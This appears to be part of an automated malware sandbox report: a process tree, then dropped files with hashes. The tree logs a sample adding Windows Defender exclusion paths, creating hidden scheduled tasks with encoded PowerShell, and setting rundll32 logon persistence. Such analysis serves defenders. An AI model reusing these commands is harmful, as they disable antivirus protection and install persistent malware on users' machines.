                                                                                                                                                                                                                  PID:5180
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5884
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3976
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2956
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:3760
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:2076
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:6004
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WkkDuRgYrrqHXcVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5684
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6008
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5996
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5600
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:6024
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5448
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5832
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:1976
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\IzRZTwSZebgYVSAl /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5692
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "ggLAFgWrk" /SC once /ST 09:08:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:4348
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /run /I /tn "ggLAFgWrk"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2228
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "ggLAFgWrk"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:368
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                  schtasks /CREATE /TN "mRaseIvrfxDtBOYKW" /SC once /ST 07:19:05 /RU "SYSTEM" /TR "\"C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\FdDlcag.exe\" Ty /JCsite_idmEP 385118 /S" /V1 /F
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                  PID:3876
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                  schtasks /run /I /tn "mRaseIvrfxDtBOYKW"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:6072
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5024
                                                                                                                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:5496
                                                                                                                                                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:2472
                                                                                                                                                                                                                                                      • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                        C:\Windows\windefender.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:5356
                                                                                                                                                                                                                                                        • C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\FdDlcag.exe
                                                                                                                                                                                                                                                          C:\Windows\Temp\IzRZTwSZebgYVSAl\FQzNUECRlEXpKQi\FdDlcag.exe Ty /JCsite_idmEP 385118 /S
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:5292
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "bdnnguwcOLBYKAjbbA"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:3744
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1108
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:2924
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:4816
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:5976
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yvWovCiVU\oBlsMT.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eGwAoTnpAObQfPU" /V1 /F
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                        PID:5664

                                                                                                                                                                                                                                                                    Network

                                                                                                                                                                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                                                                                                    Downloads

                                                                                                                                                                                                                                                                    • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2.0MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      8b8cba39d9205d72aa6c2fee010148ab

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      875824af7b71abc5128cec8ccd8fc8653d0116df

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      84c8c0ab0cdb270d82f09ec6642fc8374955398e5cb2beb62de5b353de5971f5

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      991d13a8af7154c38c4c4156181e5963c05fce52ec480bc23aa8b060b0669a23f220ac04880d463cd1ac86588a2ab3d28132a8ef8b23e56e70fa8a1e7c29341d

                                                                                                                                                                                                                                                                    • C:\ProgramData\Are.docx

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      11KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      a33e5b189842c5867f46566bdbf7a095

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      e1c06359f6a76da90d19e8fd95e79c832edb3196

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

                                                                                                                                                                                                                                                                    • C:\ProgramData\mozglue.dll

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      593KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                                                                                                    • C:\ProgramData\nss3.dll

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2.0MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      187B

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      136B

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      150B

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      a6ea7bfcd3aac150c0caef765cb52281

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      037dc22c46a0eb0b9ad4c74088129e387cffe96b

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      f019af2e5e74cdf13c963910500f9436c66b6f2901f5056d72f82310f20113b9

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      c8d2d373b48a26cf6eec1f5cfc05819011a3fc49d863820ad07b6442dd6d5f64e27022a9e4c381eb58bf7f6b19f8e77d508734ff803073ec2fb32da9081b6f23

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      21KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      d4fb70f520e1f56b44239872747c434d

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      7daef2e9f01d6ee2f9525e3ab1062b45acc842d0

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      dce70b0ae042291a8770b82889c55ccd70a32db06a9d3c3a0306010f0770de03

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      0ab3219cb499cedcf8a761ce39b41e885bb321f289a6b2a8ad6504032078a56a6df20a87eb80e2593a200436681d7415bdd6c580aa96ee63735423537f65d836

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      21KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      8f0d36dbc8bc08a8d7733bbdcbf3f5a4

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      87b0b09615c82e4cccb5ed9aa2c44010f8697ca1

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      d5f96c5aa20643acb6817eae3cbae657097134ba066843ed05bdc0244921a7dc

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      1dbe952266c33b6182590699663db061ab7fc0aab2af8293eeac6f568cebb0f001fb7f9d107404154b1a28fc283924848d3ad3767d1a7a2f1fc151d20226c8e2

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      944B

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      77d622bb1a5b250869a3238b9bc1402b

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      64B

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      87ff296944a07ddf7ebcb4fad948257b

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      9824cf38e910934f9678a4ccb5609e86f6d9d704

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      f34fda3a16957ad62691c8d3c0d79f276715feae8a9d9c9aaf77d50317a8646b

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      c057356bfe7c6abdf312fbdb470c5b3c01b5aa089677f397038b6cdaa3ab978174f01f5ce90ec86f02d27ab5590cfa54c11d72a8433048bbaf2e4a98b0069b07

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\additional_file0.tmp

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      2.5MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      20d293b9bf23403179ca48086ba88867

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      dedf311108f607a387d486d812514a2defbd1b9e

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      fd996b95ae46014edfd630bfc2bf8bc9e626adf883a1da017a8c3973b68ec348

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      5d575c6f0d914583f9bb54f7b884caf9182f26f850da9bdd962f4ed5ed7258316a46fafaf3828dccb6916baaadb681fe1d175a3f4ed59f56066dc7e32b66f7b6

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\assistant_installer.exe

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      1.9MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      b3f05009b53af6435e86cfd939717e82

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      770877e7c5f03e8d684984fe430bdfcc2cf41b26

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      3ea8d40fcede1fc03e5603246d75d13e8d44d7229d4c390c39a55534053027f7

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      d2dee80aaa79b19f1eb1db85079a05f621780e06bfea9e838b62d757ba29399f9090ec7c6ff553377c9b712f3ba8dd812cdff39f3e28829928e86746a8ac6b27

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\dbgcore.dll

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      166KB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      8b6f64e5d3a608b434079e50a1277913

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      03f431fabf1c99a48b449099455c1575893d9f32

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      926d444ffca166e006920412677c4ed2ef159cf0efc0578cb45b824f428f5eb2

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      c9aeac62ece564ac64a894300fb9d41d13f22951ead73421854c23c506760d984dff0af92bef2d80f3a66e782f0075832e9c24a50ae6110d27a25c14e065b41c

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\assistant\dbghelp.dll

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      1.7MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      925ea07f594d3fce3f73ede370d92ef7

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      f67ea921368c288a9d3728158c3f80213d89d7c2

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      6d02ebd4ec9a6093f21cd8ccefb9445fa0ab7b1f69ac868a5cfc5d28ed8d2de9

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      a809851da820d9fdd8fb860a8f549311dcc2579df2c6f6fba74f50d5d8bf94baa834b09fb5476ac248f18d1deb6b47d4fdd6d658889d5d45ca8774a9264483d2

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403281259311\opera_package

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      109.0MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      856c0e24f5ee9715ee77bd4fef0995ae

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      02b109c418bfdee0fc725faa35f8c45ae0725929

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      74e4528ae1db501f4f5f714aead1a052b8d20cf30167ca6218f5718601e85ff1

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      242d571acb0b2c35a7272a3e739ab707242cbe17109dc14bc86de38a238238539f867842ea242ba4122f657e033abe4210c107582bbf49ab47f0e9c267e6f6ff

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS6EB3.tmp\Install.exe

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      6.4MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      ccdc5c743b6031e977a71cf919c0db7e

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      f9e399475e158c6f2ea8ca2c991ffb37ba89ac30

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      f08ebffa05fd0fee031986a37356aa91c55735e61e573e2005e705125192c44e

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      f802cf236f75924271cafffd1be7319f2d1eaa26eecabc117a066f61a35c2acbbdcecf8bd93931ed61811b760a92695a4e2c291b5e81104bce1608d62ebee9f0

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8AD6.tmp\Install.exe

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      6.7MB

                                                                                                                                                                                                                                                                      MD5

                                                                                                                                                                                                                                                                      b119ea556def66eaa9f751a650b45af0

                                                                                                                                                                                                                                                                      SHA1

                                                                                                                                                                                                                                                                      daf3fa0325b110183d0a233b4b0d1875f0b49ca8

                                                                                                                                                                                                                                                                      SHA256

                                                                                                                                                                                                                                                                      53c38771ea9986f418a48d89e4df5e82c84f1e71a4c242fc6e6ae3ba934cf6d4

                                                                                                                                                                                                                                                                      SHA512

                                                                                                                                                                                                                                                                      08dd919ce39af698051b4f156faa8d155c41cc0de3412ef152dc6e90cbdd5cb50109f57c47555925fd6d18816411b1c510ac642b9576f5f28540be8695ed46c4

                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\HDGDHCGCBK.exe

                                                                                                                                                                                                                                                                      Filesize

                                                                                                                                                                                                                                                                      106KB

